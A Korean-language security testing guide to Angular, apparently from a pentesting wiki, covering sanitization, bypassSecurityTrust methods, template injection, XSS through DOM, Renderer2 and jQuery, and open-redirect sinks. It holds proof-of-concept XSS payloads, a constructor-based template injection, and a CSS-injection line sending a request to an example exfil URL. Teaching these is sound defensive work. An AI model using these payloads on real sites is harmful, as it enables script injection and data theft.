Angular

The Checklist

Checklist from here.

What is Angular

Angular는 강력한오픈 소스 프론트 엔드 프레임워크로 Google에서 유지 관리합니다. TypeScript를 사용하여 코드 가독성과 디버깅을 향상시킵니다. 강력한 보안 메커니즘을 통해 Angular는 XSS오픈 리다이렉트와 같은 일반적인 클라이언트 측 취약점을 방지합니다. 서버 측에서도 사용할 수 있어 양쪽에서 보안 고려 사항이 중요합니다.

Framework architecture

Angular의 기본 개념을 더 잘 이해하기 위해 필수 개념을 살펴보겠습니다.

일반적인 Angular 프로젝트는 보통 다음과 같습니다:

my-workspace/
├── ... #workspace-wide configuration files
├── src
   ├── app
      ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
      ├── app.component.ts #defines the logic for the application's root component
      ├── app.component.html #defines the HTML template associated with the root component
      ├── app.component.css #defines the base CSS stylesheet for the root component
      ├── app.component.spec.ts #defines a unit test for the root component
      └── app-routing.module.ts #provides routing capability for the application
   ├── lib
      └── src #library-specific configuration files
   ├── index.html #main HTML page, where the component will be rendered in
   └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace

문서에 따르면, 모든 Angular 애플리케이션은 최소한 하나의 구성 요소, 즉 구성 요소 계층을 DOM과 연결하는 루트 구성 요소(AppComponent)를 가지고 있습니다. 각 구성 요소는 애플리케이션 데이터와 로직을 포함하는 클래스를 정의하며, 대상 환경에 표시될 뷰를 정의하는 HTML 템플릿과 연결됩니다. @Component() 데코레이터는 그 바로 아래의 클래스를 구성 요소로 식별하고, 템플릿 및 관련 구성 요소 전용 메타데이터를 제공합니다. AppComponentapp.component.ts 파일에 정의되어 있습니다.

Angular NgModules는 애플리케이션 도메인, 워크플로우 또는 밀접하게 관련된 기능 세트에 전념하는 구성 요소 집합에 대한 컴파일 컨텍스트를 선언합니다. 모든 Angular 애플리케이션은 일반적으로 AppModule이라고 명명된 루트 모듈을 가지고 있으며, 이는 애플리케이션을 시작하는 부트스트랩 메커니즘을 제공합니다. 애플리케이션은 일반적으로 많은 기능 모듈을 포함합니다. AppModuleapp.module.ts 파일에 정의되어 있습니다.

Angular Router NgModule은 애플리케이션의 다양한 상태와 뷰 계층 간의 탐색 경로를 정의할 수 있는 서비스를 제공합니다. RouterModuleapp-routing.module.ts 파일에 정의되어 있습니다.

특정 뷰와 관련이 없고 구성 요소 간에 공유하고 싶은 데이터나 로직에 대해서는 서비스 클래스를 생성합니다. 서비스 클래스 정의는 즉시 @Injectable() 데코레이터로 시작됩니다. 이 데코레이터는 다른 제공자가 클래스에 종속성으로 주입될 수 있도록 하는 메타데이터를 제공합니다. 의존성 주입(DI)은 구성 요소 클래스를 간결하고 효율적으로 유지할 수 있게 해줍니다. 이들은 서버에서 데이터를 가져오거나, 사용자 입력을 검증하거나, 콘솔에 직접 로그를 남기지 않으며, 이러한 작업을 서비스에 위임합니다.

Sourcemap 구성

Angular 프레임워크는 tsconfig.json 옵션을 따르며 TypeScript 파일을 JavaScript 코드로 변환한 다음 angular.json 구성으로 프로젝트를 빌드합니다. angular.json 파일을 살펴보면 소스맵을 활성화하거나 비활성화하는 옵션이 있음을 확인했습니다. Angular 문서에 따르면, 기본 구성은 스크립트에 대해 소스맵 파일이 활성화되어 있으며 기본적으로 숨겨져 있지 않습니다:

"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}

일반적으로 sourcemap 파일은 생성된 파일을 원본 파일에 매핑하여 디버깅 목적으로 사용됩니다. 따라서 프로덕션 환경에서 사용하는 것은 권장되지 않습니다. sourcemaps가 활성화되면 Angular 프로젝트의 원래 상태를 복제하여 가독성을 높이고 파일 분석에 도움이 됩니다. 그러나 비활성화된 경우, 검토자는 보안 패턴을 검색하여 컴파일된 JavaScript 파일을 수동으로 분석할 수 있습니다.

또한 Angular 프로젝트의 컴파일된 JavaScript 파일은 브라우저 개발자 도구 → 소스(또는 디버거 및 소스) → [id].main.js에서 찾을 수 있습니다. 활성화된 옵션에 따라 이 파일의 끝에 //# sourceMappingURL=[id].main.js.map 행이 포함될 수 있으며, hidden 옵션이 true로 설정된 경우 포함되지 않을 수 있습니다. 그럼에도 불구하고 scripts에 대해 sourcemap이 비활성화되면 테스트가 더 복잡해지고 파일을 얻을 수 없습니다. 또한 ng build --source-map와 같이 프로젝트 빌드 중에 sourcemap을 활성화할 수 있습니다.

데이터 바인딩

바인딩은 구성 요소와 해당 뷰 간의 통신 프로세스를 나타냅니다. 이는 Angular 프레임워크와 데이터를 주고받는 데 사용됩니다. 데이터는 이벤트, 보간, 속성 또는 양방향 바인딩 메커니즘을 통해 전달될 수 있습니다. 또한 데이터는 관련 구성 요소(부모-자식 관계) 간 및 두 개의 관련 없는 구성 요소 간에 서비스 기능을 사용하여 공유될 수 있습니다.

바인딩은 데이터 흐름에 따라 분류할 수 있습니다:

  • 데이터 소스에서 뷰 대상(포함 interpolation, properties, attributes, classesstyles); 템플릿에서 [] 또는 {{}}를 사용하여 적용할 수 있습니다;

  • 뷰 대상에서 데이터 소스(포함 events); 템플릿에서 ()를 사용하여 적용할 수 있습니다;

  • 양방향; 템플릿에서 [()]를 사용하여 적용할 수 있습니다.

바인딩은 속성, 이벤트 및 속성뿐만 아니라 소스 지시문의 모든 공개 멤버에서 호출할 수 있습니다:

유형
대상
예시

속성

요소 속성, 구성 요소 속성, 지시문 속성

<img [alt]="hero.name" [src]="heroImageUrl">

이벤트

요소 이벤트, 구성 요소 이벤트, 지시문 이벤트

<button type="button" (click)="onSave()">Save

양방향

이벤트 및 속성

<input [(ngModel)]="name">

속성

속성(예외)

<button type="button" [attr.aria-label]="help">help

클래스

클래스 속성

<div [class.special]="isSpecial">Special

스타일

스타일 속성

<button type="button" [style.color]="isSpecial ? 'red' : 'green'">

Angular 보안 모델

Angular의 설계는 기본적으로 모든 데이터를 인코딩하거나 정화하여 XSS 취약점을 발견하고 악용하기 점점 더 어렵게 만듭니다. 데이터 처리에는 두 가지 뚜렷한 시나리오가 있습니다:

  1. 보간 또는 {{user_input}} - 컨텍스트에 민감한 인코딩을 수행하고 사용자 입력을 텍스트로 해석합니다;

//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
{{test}}

결과: &lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt; 2. 속성, 속성, 클래스 및 스타일에 대한 바인딩 또는 [attribute]="user_input" - 제공된 보안 컨텍스트에 따라 정화를 수행합니다.

//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
<div [innerHtml]="test"></div>

결과: <div><h1>test</h1></div>

SecurityContext의 유형은 6가지입니다:

  • None;

  • HTML은 값을 HTML로 해석할 때 사용됩니다;

  • STYLEstyle 속성에 CSS를 바인딩할 때 사용됩니다;

  • URL<a href>와 같은 URL 속성에 사용됩니다;

  • SCRIPT는 JavaScript 코드에 사용됩니다;

  • RESOURCE_URL은 코드로 로드되고 실행되는 URL로, 예를 들어 <script src>에서 사용됩니다.

취약점

보안 신뢰 우회 메서드

Angular는 기본 정화 프로세스를 우회하고 특정 컨텍스트에서 값이 안전하게 사용될 수 있음을 나타내는 메서드 목록을 도입합니다. 다음 다섯 가지 예가 있습니다:

  1. bypassSecurityTrustUrl은 주어진 값이 안전한 스타일 URL임을 나타내는 데 사용됩니다:

//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');

//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>

//result
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
  1. bypassSecurityTrustResourceUrl은 주어진 값이 안전한 리소스 URL임을 나타내는 데 사용됩니다:

//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");

//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>

//result
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
  1. bypassSecurityTrustHtml은 주어진 값이 안전한 HTML임을 나타내는 데 사용됩니다. 이 방식으로 DOM 트리에 script 요소를 삽입하면 포함된 JavaScript 코드가 실행되지 않습니다. 이는 이러한 요소가 DOM 트리에 추가되는 방식 때문입니다.

//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");

//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>

//result
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
  1. bypassSecurityTrustScript는 주어진 값이 안전한 JavaScript임을 나타내는 데 사용됩니다. 그러나 이 방법을 사용하여 템플릿에서 JS 코드를 실행할 수 없기 때문에 그 동작이 예측할 수 없음을 발견했습니다.

//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");

//app.component.html
<script [innerHtml]="trustedScript"></script>

//result
-
  1. bypassSecurityTrustStyle은 주어진 값이 안전한 CSS임을 나타내는 데 사용됩니다. 다음 예는 CSS 주입을 설명합니다:

//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');

//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">

//result
Request URL: GET example.com/exfil/a

Angular는 뷰에 표시하기 전에 데이터를 정화하기 위해 sanitize 메서드를 제공합니다. 이 메서드는 제공된 보안 컨텍스트를 사용하고 입력을 적절하게 정화합니다. 그러나 특정 데이터 및 컨텍스트에 대해 올바른 보안 컨텍스트를 사용하는 것이 중요합니다. 예를 들어, HTML 콘텐츠에 대해 SecurityContext.URL로 정화기를 적용하면 위험한 HTML 값에 대한 보호를 제공하지 않습니다. 이러한 시나리오에서 보안 컨텍스트의 오용은 XSS 취약점으로 이어질 수 있습니다.

HTML 주입

이 취약점은 사용자 입력이 innerHTML, outerHTML 또는 iframe srcdoc의 세 가지 속성 중 하나에 바인딩될 때 발생합니다. 이러한 속성에 바인딩하면 HTML이 그대로 해석되지만, 입력은 SecurityContext.HTML을 사용하여 정화됩니다. 따라서 HTML 주입은 가능하지만 교차 사이트 스크립팅(XSS)은 불가능합니다.

innerHTML을 사용하는 예:

//app.component.ts
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}

//app.component.html
<div [innerHTML]="test"></div>

결과는 <div><h1>test</h1></div>입니다.

템플릿 주입

클라이언트 측 렌더링 (CSR)

Angular는 템플릿을 활용하여 페이지를 동적으로 구성합니다. 이 접근 방식은 Angular가 평가할 템플릿 표현식을 이중 중괄호({{}})로 감싸는 것을 포함합니다. 이렇게 함으로써 프레임워크는 추가 기능을 제공합니다. 예를 들어, {{1+1}}와 같은 템플릿은 2로 표시됩니다.

일반적으로 Angular는 템플릿 표현식과 혼동될 수 있는 사용자 입력을 이스케이프합니다(예: `< > ' " `\와 같은 문자). 이는 블랙리스트 문자를 사용하지 않기 위해 JavaScript 문자열 객체를 생성하는 함수를 활용하는 등 이 제한을 우회하기 위해 추가 단계가 필요함을 의미합니다. 그러나 이를 달성하기 위해서는 Angular의 컨텍스트, 속성 및 변수를 고려해야 합니다. 따라서 템플릿 주입 공격은 다음과 같이 나타날 수 있습니다:

//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})

위에서 보여준 것처럼: constructor는 Object constructor 속성의 범위를 참조하여, String 생성자를 호출하고 임의의 코드를 실행할 수 있게 해줍니다.

서버 사이드 렌더링 (SSR)

브라우저의 DOM에서 발생하는 CSR과 달리, Angular Universal은 템플릿 파일의 SSR을 담당합니다. 이러한 파일은 사용자에게 전달됩니다. 이러한 구분에도 불구하고, Angular Universal은 SSR 보안을 강화하기 위해 CSR에서 사용되는 동일한 세척 메커니즘을 적용합니다. SSR에서의 템플릿 주입 취약점은 CSR에서와 동일한 방식으로 발견될 수 있으며, 사용되는 템플릿 언어가 동일하기 때문입니다.

물론, Pug 및 Handlebars와 같은 서드파티 템플릿 엔진을 사용할 때 새로운 템플릿 주입 취약점이 도입될 가능성도 있습니다.

XSS

DOM 인터페이스

앞서 언급했듯이, 우리는 Document 인터페이스를 사용하여 DOM에 직접 접근할 수 있습니다. 사용자 입력이 사전에 검증되지 않으면, 교차 사이트 스크립팅(XSS) 취약점으로 이어질 수 있습니다.

아래 예제에서는 document.write()document.createElement() 메서드를 사용했습니다:

//app.component.ts 1
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}

//app.component.ts 2
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}

//app.component.ts 3
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}

Angular 클래스

Angular에서 DOM 요소와 작업하는 데 사용할 수 있는 몇 가지 클래스가 있습니다: ElementRef, Renderer2, LocationDocument. 마지막 두 클래스에 대한 자세한 설명은 Open redirects 섹션에 나와 있습니다. 첫 번째 두 클래스의 주요 차이점은 Renderer2 API가 DOM 요소와 구성 요소 코드 사이에 추상화 계층을 제공하는 반면, ElementRef는 단순히 요소에 대한 참조를 보유한다는 것입니다. 따라서 Angular 문서에 따르면, ElementRef API는 DOM에 대한 직접 액세스가 필요할 때 최후의 수단으로만 사용해야 합니다.

  • ElementRef는 DOM 요소를 조작하는 데 사용할 수 있는 nativeElement 속성을 포함합니다. 그러나 nativeElement의 부적절한 사용은 아래와 같이 XSS 주입 취약점을 초래할 수 있습니다:

//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
  • Renderer2가 기본 요소에 대한 직접 액세스가 지원되지 않을 때에도 안전하게 사용할 수 있는 API를 제공하지만, 여전히 몇 가지 보안 결함이 있습니다. Renderer2를 사용하면 setAttribute() 메서드를 사용하여 HTML 요소의 속성을 설정할 수 있으며, 이 메서드는 XSS 방지 메커니즘이 없습니다.

//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}

//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
  • DOM 요소의 속성을 설정하려면 Renderer2.setProperty() 메서드를 사용하여 XSS 공격을 유발할 수 있습니다:

//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}

//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>

연구 중에 우리는 XSS 및 CSS 주입과 관련하여 setStyle(), createComment(), setValue()와 같은 다른 Renderer2 메서드의 동작도 검토했습니다. 그러나 이러한 메서드의 기능적 제한으로 인해 유효한 공격 벡터를 찾을 수 없었습니다.

jQuery

jQuery는 HTML DOM 객체 조작을 돕기 위해 Angular 프로젝트에서 사용할 수 있는 빠르고 작고 기능이 풍부한 JavaScript 라이브러리입니다. 그러나 이 라이브러리의 메서드는 XSS 취약점을 달성하기 위해 악용될 수 있는 것으로 알려져 있습니다. 취약한 jQuery 메서드가 Angular 프로젝트에서 어떻게 악용될 수 있는지 논의하기 위해 이 하위 섹션을 추가했습니다.

  • html() 메서드는 일치하는 요소 집합의 첫 번째 요소의 HTML 내용을 가져오거나 모든 일치하는 요소의 HTML 내용을 설정합니다. 그러나 설계상 HTML 문자열을 수용하는 모든 jQuery 생성자 또는 메서드는 잠재적으로 코드를 실행할 수 있습니다. 이는 <script> 태그의 주입 또는 코드를 실행하는 HTML 속성의 사용으로 발생할 수 있습니다.

//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}

//app.component.html
<button>Click me</button>
<p>some text here</p>
  • jQuery.parseHTML() 메서드는 문자열을 DOM 노드 집합으로 변환하기 위해 기본 메서드를 사용하며, 이를 문서에 삽입할 수 있습니다.

jQuery.parseHTML(data [, context ] [, keepScripts ])

앞서 언급했듯이 HTML 문자열을 수용하는 대부분의 jQuery API는 HTML에 포함된 스크립트를 실행합니다. jQuery.parseHTML() 메서드는 keepScripts가 명시적으로 true가 아닌 한 파싱된 HTML에서 스크립트를 실행하지 않습니다. 그러나 대부분의 환경에서 <img onerror> 속성을 통해 간접적으로 스크립트를 실행하는 것은 여전히 가능합니다.

//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}

//app.component.html
<button>Click me</button>
<p id="palias">some text</p>

Open redirects

DOM 인터페이스

W3C 문서에 따르면, window.locationdocument.location 객체는 최신 브라우저에서 별칭으로 처리됩니다. 그렇기 때문에 이들은 일부 메서드와 속성의 유사한 구현을 가지며, 이는 아래에 언급된 javascript:// 스키마 공격으로 인해 열린 리디렉션 및 DOM XSS를 유발할 수 있습니다.

  • window.location.href(및 document.location.href)

현재 DOM 위치 객체를 가져오는 표준 방법은 window.location을 사용하는 것입니다. 또한 이를 사용하여 브라우저를 새 페이지로 리디렉션할 수 있습니다. 결과적으로 이 객체에 대한 제어를 가지면 열린 리디렉션 취약점을 악용할 수 있습니다.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>

다음 시나리오에 대한 악용 과정은 동일합니다.

  • window.location.assign()(및 document.location.assign())

이 메서드는 지정된 URL에서 문서를 로드하고 표시하도록 창을 유도합니다. 이 메서드에 대한 제어를 가지면 열린 리디렉션 공격의 싱크가 될 수 있습니다.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
  • window.location.replace()(및 document.location.replace())

이 메서드는 현재 리소스를 제공된 URL의 리소스로 대체합니다.

assign() 메서드와의 차이점은 window.location.replace()를 사용한 후 현재 페이지가 세션 기록에 저장되지 않는다는 것입니다. 그러나 이 메서드에 대한 제어를 가질 때 열린 리디렉션 취약점을 악용할 수도 있습니다.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
  • window.open()

window.open() 메서드는 URL을 가져와서 이를 새 탭이나 창에 로드합니다. 이 메서드에 대한 제어를 가지면 XSS 또는 열린 리디렉션 취약점을 유발할 수 있는 기회가 될 수 있습니다.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}

Angular 클래스

  • Angular 문서에 따르면, Angular Document는 DOM 문서와 동일하며, 이는 Angular에서 클라이언트 측 취약점을 악용하기 위해 DOM 문서에 대한 일반적인 벡터를 사용할 수 있음을 의미합니다. Document.location 속성과 메서드는 아래 예제와 같이 성공적인 열린 리디렉션 공격의 싱크가 될 수 있습니다:

//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }

goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
  • 연구 단계에서 우리는 열린 리디렉션 취약점에 대한 Angular Location 클래스도 검토했지만 유효한 벡터를 찾지 못했습니다. Location은 애플리케이션이 브라우저의 현재 URL과 상호작용하는 데 사용할 수 있는 Angular 서비스입니다. 이 서비스는 주어진 URL을 조작하기 위한 여러 메서드 - go(), replaceState(), prepareExternalUrl() - 를 가지고 있습니다. 그러나 외부 도메인으로의 리디렉션에는 사용할 수 없습니다. 예를 들어:

//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}

결과: http://localhost:4200/http://google.com/about

  • Angular Router 클래스는 주로 동일한 도메인 내에서 탐색하는 데 사용되며 애플리케이션에 추가적인 취약점을 도입하지 않습니다:

//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]

결과: http://localhost:4200/https:

다음 메서드도 도메인 범위 내에서 탐색합니다:

const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')

참고 문헌

Last updated